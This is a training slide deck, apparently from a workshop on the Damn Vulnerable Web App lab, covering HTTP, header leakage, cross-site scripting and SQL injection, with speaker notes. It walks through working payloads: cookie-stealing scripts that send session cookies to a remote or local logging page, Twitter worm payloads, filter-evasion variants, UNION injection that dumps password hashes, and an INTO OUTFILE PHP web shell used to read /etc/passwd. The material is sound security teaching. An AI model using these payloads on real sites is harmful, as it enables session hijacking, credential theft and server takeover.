<head>


Ryan Dewhurst

RandomStorm

Northumbria University

@ethicalhack3r            </head>




Damn Vulnerable Web App
The boring part. zzzz...
                                         <head>


Ryan Dewhurst

RandomStorm

Northumbria University

@ethicalhack3r                           </head>




Damn Vulnerable Web App
What are we doing today?

Introduction to Web Application Security
Introduction to DVWA
Using DVWA
Demos
DVWA 2.0 codename ʻIveyʼ
Questions
Client   Application   Database
What is a Web Application?



Client           Application      Database
GET /index.html HTTP/1.1   1xx - Informational
Host: www.example.com      2xx - Successful request
                           3xx - Redirection
                           4xx - Client error
                           5xx - Server error


                           GET - Retrieve resource
                           POST - Perform action
                           HEAD - Like GET
                           OPTIONS - Report methods
                           TRACE - Debugging
                           PUT - Upload resource
Hypertext Transfer Protocol (HTTP)


GET /index.html HTTP/1.1              1xx - Informational
Host: www.example.com                 2xx - Successful request
                                      3xx - Redirection
                                      4xx - Client error
HTTP/1.1 200 OK                       5xx - Server error
Date: Fri, 10 Sep 2010 17:59:00 GMT
Server: Apache
                                      GET - Retrieve resource
<html>                                POST - Perform action
<head></head>                         HEAD - Like GET
<body>                                OPTIONS - Report methods
<h1>It worked!</h1>                   TRACE - Debugging
</body>                               PUT - Upload resource
</html>
The average website had nearly 13 serious vulnerabilities.
Web Application (In)security




The average website had nearly 13 serious vulnerabilities.
Client         Firewall   Web Server

         23
          80
         139
Web Application (In)security



Client         Firewall      Web Server

         23
          80
         139
Web Application (In)security

Information Gathering - Spider, Search Engines, Application Discovery

Configuration Management - HTTP Methods, Admin Interfaces, Forgotten Files

Business Logic - Bypassable Business Logic

Authentication - Use of Encryption, Brute Force, Bypass, CAPTCHA

Authorisation - Path Traversal, Privilege Escalation

Session Management - Cookies, Session Management, Session Fixation

Data Validation - XSS, SQLi, OS Commanding, HTTP Splitting, XML Injection

Denial of Service - SQL Wildcard, Locking Accounts, Storing too much data

Web Service - Testing WSDL, REST, SOAP
Header Information Leakage




  $nc 127.0.0.1 80
  GET /login.php HTTP/1.0
Header Information Leakage


HTTP/1.1 200 OK
Date: {todays date/time}
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.81 PHP/5.3.1 mod_apreq2-20090110/2.7.1
mod_perl/2.0.4 Perl/v.5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: PHPSESSID={your session id} path=/
Set Cookie: security=high

<html>
</html>
Server                                  X-Powered-By
$sudo nano /opt/lampp/etc/httpd.conf
- ServerTokens Prod




                          $sudo /opt/lampp/lampp restart
Header Information Leakage




             Server                                  X-Powered-By
$sudo nano /opt/lampp/etc/httpd.conf         $sudo nano /opt/lampp/etc/php.ini -c
- ServerTokens Prod                          - 433:expose_php = Off




                          $sudo /opt/lampp/lampp restart
Source: http://www.xssed.com/pagerank
Cross Site Scripting (XSS)


 Even the biggest and baddest get it wrong:

              Google (biggest)
                   Yahoo
                 YouTube
             Facebook (baddest)
                 MySpace
                 Microsoft
                   EBay
                  Twitter?!

         The list goes on and on...
         Source: http://www.xssed.com/pagerank
Cross Site Scripting (XSS)



            <plaintext>

         '';!--"<XSS>=&{()}

      <script>alert(1)</script>
Source: http://ha.ckers.org/xss.html, http://www.gnucitizen.org
Cross Site Scripting (XSS)

                                         Remote scripts
                       <script src=http://ha.ckers.org/xss.js></script>

                                         Cookie stealing
<script>document.location="http://example.com/page.php?cookie=" + document.cookie</script>

                                         Grab NATed IP
                                   http://reglos.de/myaddress/

                                   JavaScript port scanner
                http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js

                                            Defacement
                 <script>document.body.innerHTML=”Rick Astley”</script>


                      Source: http://ha.ckers.org/xss.html, http://www.gnucitizen.org
Cross Site Scripting (XSS)


      # # www.w.ww/@"style="position:absolute;margin-top:-900px;margin-left:-900px;width:
                9999em;height:9999em"onmouseover=alert(document.cookie)//




 http://t.co/@"onmouseover="document.getElementById('status').value='RT MoiMrJack';$('.status-
                            update-form').submit();"font-size:500pt;/




$('#status').val("http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:
                 u002fu002fis.gdu002ffl9A7')"/");$('.status-update-form').submit();
Cross Site Scripting (XSS)


Filter user supplied input/output. White list!

Browser:
IE, Opera, Firefox (with NoScript plugin)

Web Application Firewall (WAF)

Web Development Framework

Cookies:
HTTPOnly flag, restrict domain+path scope
Cross Site Scripting (XSS)


                                       <sCrIpT>alert(1)</sCrIpT>

                               <scr<script>ipt>alert(1)</scr</script> ipt>

                                       <img src=”” onerror=”alert(1)”>

                                     &lt;script&gt;alert(1)&lt;/script&gt;

String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99,
                                         114, 105, 112, 116, 62)
Creating a vulnerable site



                 Log in
Go to the DVWA Security menu on the left
     Change the security level to low
            Disable NoScript
Checking for HTML Injection



We are going to look for reflected XSS, start simple

Go to the XSS reflected page and enter the following

                 <b>test</b>ABC
Checking for Script Injection


Now we know we can inject HTML lets go for the
          classic XSS attack. Enter

         <script>alert('XSS')</script>

        This is where most people stop
Lets see if we can see the cookie



 See if we can see the session cookie

<script>alert(document.cookie)</script>

This is OUR cookie, not much use, yet
Requesting images

This is where you have to use your imagination. Lets
       request an “image” from a remote server

<img src="http://localhost/cookie_steal_image.html" >

 Normally you would use an IP from a machine you
control and not localhost but localhost will have to do
   for now as we donʼt have network connections
Lets check the logs



Bring up a terminal and tail the Apache web logs

        tail -f /opt/lampp/log/access.log

 Look for the entry for cookie_steal_image.html
Whats happening?


  We have just requested an image from a server we
                       control

   If we can get a victim to trigger that XSS we will be
informed when they hit it if we are watching our apache
                            logs
Tying the two together

        We can make a request to our server

              We can access the cookie

Can we tie the two together and send the cookie to our
                       server?

                       Yes....
What we canʼt do


                    We canʼt do this

 <img src=”http://localhost/steal_cookie_image.html?
                  document.cookie”>

Because this would request the literal string specified in
                     the quotes
Dynamically requesting images


 So we have to dynamically create the image request

  <script>document.write('<img src="http://localhost/
         cookie_steal_image.html">')</script>

This will do the same as the original image request but
             it is created through JavaScript
Dynamically requesting images

        And JavaScript can access the cookie

  <script>document.write('<img src="http://localhost/
cookie_steal_image.html?' + escape(document.cookie)
                   + '>');</script>

 The escape is needed to HTML encode the cookie.
 This stops “bad” characters from breaking the image
                       request.
Now check your logs again
  /cookie_steal_image.html?security%3Dlow%3B
                 %20PHPSESSID
%3D1h76ngv5le4i832a0ptu2s8ag1%3E%3Cpre%3E
 %3C/pre%3E%3C/div%3E%3Ch2%3EMore%20info
 %3C/h2%3E%3Cul%3E%3Cli%3E%3Ca%20href=

                    Or

    /cookie_steal_image.html? security=low;
 %20PHPSESSID=225ejsvuc0uf5sjt9vpao2ovk3
Setting the cookie


   You can now use Add ʻnʼ Edit cookies or Web
Developer Toolbar or all sorts of other tools to set that
             cookie into your browser

  Unfortunately DVWA Live CD doesnʼt have these
                    installed
How do we get the URL to the user?
So, we have generated this great attack, how do we get
                   it to the user?

  Check the querystring, it should look something like

    http://localhost/dvwa/vulnerabilities/xss_r/?
name=<script>document.write('<img+src%3D"http%3A
%2F%2Flocalhost%2Fcookie_steal_image.html%3F'+
  %2B+escape(document.cookie)+%2B+'>')%3B<
                     %2Fscript>

      You can think of ways to send this to victim
SQL Injection



$query = “SELECT * FROM users WHERE
username=ʻ$userʼ AND password=ʻ$passʼ ”;



$query = “SELECT * FROM users WHERE
username=ʻryanʼ AND password=ʻ123456ʼ ”;
SQL Injection



  $query = “SELECT * FROM users WHERE
   username=ʻʼʼ AND password=ʻ123456ʼ ”;



   $query = “SELECT * FROM users WHERE
username=ʻadminʼ -- ʼ AND password=ʻ123456ʼ ”;
SQL Injection



SELECT first_name, last_name FROM users WHERE
                   user_id=ʼ1ʼ



              ID: 1
              First name: admin
              Surname: admin
SQL Injection



SELECT first_name, last_name FROM users WHERE
               user_id=ʻOʼMalleyʼ



  You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version
     for the right syntax to use near ʻʼ” at line 1
SQL Injection

SELECT first_name, last_name FROM users WHERE
             user_id=ʻ1ʼ OR 1=1 #ʼ

                  ID: 1ʼ OR 1=1#
                  First name: admin
                  Surname: admin

                  ID: 1ʼ OR 1=1#
                  First name: Gordon
                  Surname: Brown

                  ID: 1ʼ OR 1=1#
                  First name: Hack
                  Surname: Me

                  ID: 1ʼ OR 1=1#
                  First name: Pablo
                  Surname: Picasso

                  ID: 1ʼ OR 1=1#
                  First name: bob
                  Surname: smith
SQL Injection
               Find number of columns




SELECT first_name, last_name FROM users WHERE
           user_id=ʻ1ʼ ORDER BY 1 #ʼ
SQL Injection
                   Find field names




SELECT first_name, last_name FROM users WHERE
     user_id=ʻaʼ OR username = ʻadminʼ -- ʼ



   Unknown column ʻusernameʼ in ʻwhere clauseʼ
SQL Injection
                   Find database name




SELECT first_name, last_name FROM users WHERE
  user_id=ʻaʼ UNION SELECT null,database() # ʼ


ID: aʼ UNION SELECT null,database() #
First name:
Surname: dvwa
SQL Injection
                                        Find table name



 SELECT first_name, last_name FROM users WHERE
      user_id=ʻaʼ UNION SELECT table_schema,
table_name FROM information_schema.tables WHERE
               table_schema = ʻdvwaʼ #ʼ

ID: aʼ UNION SELECT table_schema...
First name: dvwa
Surname: guestbook

ID: aʼ UNION SELECT table_schema...
First name: dvwa
Surname: users
SQL Injection
                                     Extract passwords




 SELECT first_name, last_name FROM users WHERE
  user_id=ʻaʼ UNION SELECT user,password FROM
                     users #ʼ

ID: aʼ UNION SELECT user,password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: aʼ UNION SELECT user,password FROM users #
First name: gordonb
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
SQL Injection
                            Create PHP backdoor



SELECT first_name, last_name FROM users WHERE
      user_id=ʻaʼ UNION SELECT null,ʼ<?php
 system($_GET[ʻcmdʼ]); ?>ʼ INTO OUTFILE ʻ/opt/
   lampp/htdocs/hackable/uploads/shell.phpʼ #ʼ

 http://127.0.0.1/hackable/uploads/shell.php?cmd=cat ../../../../../etc/passwd
 http://127.0.0.1/hackable/uploads/shell.php?cmd=ifconfig
 http://127.0.0.1/hackable/uploads/shell.php?cmd=ping 127.0.0.1 -c 3
Further Reading
DVWA BruCON Workshop

DVWA BruCON Workshop

  • 2.
  • 3.
    The boring part.zzzz... <head> Ryan Dewhurst RandomStorm Northumbria University @ethicalhack3r </head> Damn Vulnerable Web App
  • 5.
    What are wedoing today? Introduction to Web Application Security Introduction to DVWA Using DVWA Demos DVWA 2.0 codename ʻIveyʼ Questions
  • 6.
    Client Application Database
  • 7.
    What is aWeb Application? Client Application Database
  • 8.
    GET /index.html HTTP/1.1 1xx - Informational Host: www.example.com 2xx - Successful request 3xx - Redirection 4xx - Client error 5xx - Server error GET - Retrieve resource POST - Perform action HEAD - Like GET OPTIONS - Report methods TRACE - Debugging PUT - Upload resource
  • 9.
    Hypertext Transfer Protocol(HTTP) GET /index.html HTTP/1.1 1xx - Informational Host: www.example.com 2xx - Successful request 3xx - Redirection 4xx - Client error HTTP/1.1 200 OK 5xx - Server error Date: Fri, 10 Sep 2010 17:59:00 GMT Server: Apache GET - Retrieve resource <html> POST - Perform action <head></head> HEAD - Like GET <body> OPTIONS - Report methods <h1>It worked!</h1> TRACE - Debugging </body> PUT - Upload resource </html>
  • 10.
    The average websitehad nearly 13 serious vulnerabilities.
  • 11.
    Web Application (In)security Theaverage website had nearly 13 serious vulnerabilities.
  • 12.
    Client Firewall Web Server 23 80 139
  • 13.
    Web Application (In)security Client Firewall Web Server 23 80 139
  • 15.
    Web Application (In)security InformationGathering - Spider, Search Engines, Application Discovery Configuration Management - HTTP Methods, Admin Interfaces, Forgotten Files Business Logic - Bypassable Business Logic Authentication - Use of Encryption, Brute Force, Bypass, CAPTCHA Authorisation - Path Traversal, Privilege Escalation Session Management - Cookies, Session Management, Session Fixation Data Validation - XSS, SQLi, OS Commanding, HTTP Splitting, XML Injection Denial of Service - SQL Wildcard, Locking Accounts, Storing too much data Web Service - Testing WSDL, REST, SOAP
  • 18.
    Header Information Leakage $nc 127.0.0.1 80 GET /login.php HTTP/1.0
  • 20.
    Header Information Leakage HTTP/1.1200 OK Date: {todays date/time} Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.81 PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v.5.10.1 X-Powered-By: PHP/5.3.1 Set-Cookie: PHPSESSID={your session id} path=/ Set Cookie: security=high <html> </html>
  • 21.
    Server X-Powered-By $sudo nano /opt/lampp/etc/httpd.conf - ServerTokens Prod $sudo /opt/lampp/lampp restart
  • 22.
    Header Information Leakage Server X-Powered-By $sudo nano /opt/lampp/etc/httpd.conf $sudo nano /opt/lampp/etc/php.ini -c - ServerTokens Prod - 433:expose_php = Off $sudo /opt/lampp/lampp restart
  • 23.
  • 24.
    Cross Site Scripting(XSS) Even the biggest and baddest get it wrong: Google (biggest) Yahoo YouTube Facebook (baddest) MySpace Microsoft EBay Twitter?! The list goes on and on... Source: http://www.xssed.com/pagerank
  • 26.
    Cross Site Scripting(XSS) <plaintext> '';!--"<XSS>=&{()} <script>alert(1)</script>
  • 27.
  • 28.
    Cross Site Scripting(XSS) Remote scripts <script src=http://ha.ckers.org/xss.js></script> Cookie stealing <script>document.location="http://example.com/page.php?cookie=" + document.cookie</script> Grab NATed IP http://reglos.de/myaddress/ JavaScript port scanner http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js Defacement <script>document.body.innerHTML=”Rick Astley”</script> Source: http://ha.ckers.org/xss.html, http://www.gnucitizen.org
  • 30.
    Cross Site Scripting(XSS) # # www.w.ww/@"style="position:absolute;margin-top:-900px;margin-left:-900px;width: 9999em;height:9999em"onmouseover=alert(document.cookie)// http://t.co/@"onmouseover="document.getElementById('status').value='RT MoiMrJack';$('.status- update-form').submit();"font-size:500pt;/ $('#status').val("http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http: u002fu002fis.gdu002ffl9A7')"/");$('.status-update-form').submit();
  • 32.
    Cross Site Scripting(XSS) Filter user supplied input/output. White list! Browser: IE, Opera, Firefox (with NoScript plugin) Web Application Firewall (WAF) Web Development Framework Cookies: HTTPOnly flag, restrict domain+path scope
  • 34.
    Cross Site Scripting(XSS) <sCrIpT>alert(1)</sCrIpT> <scr<script>ipt>alert(1)</scr</script> ipt> <img src=”” onerror=”alert(1)”> &lt;script&gt;alert(1)&lt;/script&gt; String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)
  • 36.
    Creating a vulnerablesite Log in Go to the DVWA Security menu on the left Change the security level to low Disable NoScript
  • 38.
    Checking for HTMLInjection We are going to look for reflected XSS, start simple Go to the XSS reflected page and enter the following <b>test</b>ABC
  • 40.
    Checking for ScriptInjection Now we know we can inject HTML lets go for the classic XSS attack. Enter <script>alert('XSS')</script> This is where most people stop
  • 42.
    Lets see ifwe can see the cookie See if we can see the session cookie <script>alert(document.cookie)</script> This is OUR cookie, not much use, yet
  • 44.
    Requesting images This iswhere you have to use your imagination. Lets request an “image” from a remote server <img src="http://localhost/cookie_steal_image.html" > Normally you would use an IP from a machine you control and not localhost but localhost will have to do for now as we donʼt have network connections
  • 46.
    Lets check thelogs Bring up a terminal and tail the Apache web logs tail -f /opt/lampp/log/access.log Look for the entry for cookie_steal_image.html
  • 48.
    Whats happening? We have just requested an image from a server we control If we can get a victim to trigger that XSS we will be informed when they hit it if we are watching our apache logs
  • 50.
    Tying the twotogether We can make a request to our server We can access the cookie Can we tie the two together and send the cookie to our server? Yes....
  • 52.
    What we canʼtdo We canʼt do this <img src=”http://localhost/steal_cookie_image.html? document.cookie”> Because this would request the literal string specified in the quotes
  • 54.
    Dynamically requesting images So we have to dynamically create the image request <script>document.write('<img src="http://localhost/ cookie_steal_image.html">')</script> This will do the same as the original image request but it is created through JavaScript
  • 56.
    Dynamically requesting images And JavaScript can access the cookie <script>document.write('<img src="http://localhost/ cookie_steal_image.html?' + escape(document.cookie) + '>');</script> The escape is needed to HTML encode the cookie. This stops “bad” characters from breaking the image request.
  • 58.
    Now check yourlogs again /cookie_steal_image.html?security%3Dlow%3B %20PHPSESSID %3D1h76ngv5le4i832a0ptu2s8ag1%3E%3Cpre%3E %3C/pre%3E%3C/div%3E%3Ch2%3EMore%20info %3C/h2%3E%3Cul%3E%3Cli%3E%3Ca%20href= Or /cookie_steal_image.html? security=low; %20PHPSESSID=225ejsvuc0uf5sjt9vpao2ovk3
  • 60.
    Setting the cookie You can now use Add ʻnʼ Edit cookies or Web Developer Toolbar or all sorts of other tools to set that cookie into your browser Unfortunately DVWA Live CD doesnʼt have these installed
  • 62.
    How do weget the URL to the user? So, we have generated this great attack, how do we get it to the user? Check the querystring, it should look something like http://localhost/dvwa/vulnerabilities/xss_r/? name=<script>document.write('<img+src%3D"http%3A %2F%2Flocalhost%2Fcookie_steal_image.html%3F'+ %2B+escape(document.cookie)+%2B+'>')%3B< %2Fscript> You can think of ways to send this to victim
  • 64.
    SQL Injection $query =“SELECT * FROM users WHERE username=ʻ$userʼ AND password=ʻ$passʼ ”; $query = “SELECT * FROM users WHERE username=ʻryanʼ AND password=ʻ123456ʼ ”;
  • 66.
    SQL Injection $query = “SELECT * FROM users WHERE username=ʻʼʼ AND password=ʻ123456ʼ ”; $query = “SELECT * FROM users WHERE username=ʻadminʼ -- ʼ AND password=ʻ123456ʼ ”;
  • 68.
    SQL Injection SELECT first_name,last_name FROM users WHERE user_id=ʼ1ʼ ID: 1 First name: admin Surname: admin
  • 70.
    SQL Injection SELECT first_name,last_name FROM users WHERE user_id=ʻOʼMalleyʼ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ʻʼ” at line 1
  • 72.
    SQL Injection SELECT first_name,last_name FROM users WHERE user_id=ʻ1ʼ OR 1=1 #ʼ ID: 1ʼ OR 1=1# First name: admin Surname: admin ID: 1ʼ OR 1=1# First name: Gordon Surname: Brown ID: 1ʼ OR 1=1# First name: Hack Surname: Me ID: 1ʼ OR 1=1# First name: Pablo Surname: Picasso ID: 1ʼ OR 1=1# First name: bob Surname: smith
  • 74.
    SQL Injection Find number of columns SELECT first_name, last_name FROM users WHERE user_id=ʻ1ʼ ORDER BY 1 #ʼ
  • 76.
    SQL Injection Find field names SELECT first_name, last_name FROM users WHERE user_id=ʻaʼ OR username = ʻadminʼ -- ʼ Unknown column ʻusernameʼ in ʻwhere clauseʼ
  • 78.
    SQL Injection Find database name SELECT first_name, last_name FROM users WHERE user_id=ʻaʼ UNION SELECT null,database() # ʼ ID: aʼ UNION SELECT null,database() # First name: Surname: dvwa
  • 80.
    SQL Injection Find table name SELECT first_name, last_name FROM users WHERE user_id=ʻaʼ UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = ʻdvwaʼ #ʼ ID: aʼ UNION SELECT table_schema... First name: dvwa Surname: guestbook ID: aʼ UNION SELECT table_schema... First name: dvwa Surname: users
  • 82.
    SQL Injection Extract passwords SELECT first_name, last_name FROM users WHERE user_id=ʻaʼ UNION SELECT user,password FROM users #ʼ ID: aʼ UNION SELECT user,password FROM users # First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ID: aʼ UNION SELECT user,password FROM users # First name: gordonb Surname: 5f4dcc3b5aa765d61d8327deb882cf99
  • 84.
    SQL Injection Create PHP backdoor SELECT first_name, last_name FROM users WHERE user_id=ʻaʼ UNION SELECT null,ʼ<?php system($_GET[ʻcmdʼ]); ?>ʼ INTO OUTFILE ʻ/opt/ lampp/htdocs/hackable/uploads/shell.phpʼ #ʼ http://127.0.0.1/hackable/uploads/shell.php?cmd=cat ../../../../../etc/passwd http://127.0.0.1/hackable/uploads/shell.php?cmd=ifconfig http://127.0.0.1/hackable/uploads/shell.php?cmd=ping 127.0.0.1 -c 3
  • 86.

Editor's Notes

  • #3 Introduce myself
  • #4 Outline the workshop
  • #5 Outline the workshop
  • #6 Explain a three tier web application architecture, request process, server software, languages, DBMSs
  • #7 Brief overview of HTTP: RFC 2616 Application layer of TCP/IP suite Versions: 0.9,1.0 and 1.1 Stateless protocol Tim Berners-Lee
  • #8 Brief overview of HTTP: RFC 2616 Application layer of TCP/IP suite Versions: 0.9,1.0 and 1.1 Stateless protocol Tim Berners-Lee
  • #9 What are slides without stats. WhiteHat Security, 2000 websites, PCI
  • #10 Explain why web applications are insecure in a general sense, accessibility, developer awareness, time/budget constraints, vendors, easy targets.
  • #11 Explain what a web application assessment entails, blackbox vs whitebox, automation, manual testing, methodologies.
  • #12 Explain what a web application assessment entails, blackbox vs whitebox, automation, manual testing, methodologies.
  • #13 Introduce dvwa, background, use, where it is today, etc...
  • #100 Recommended books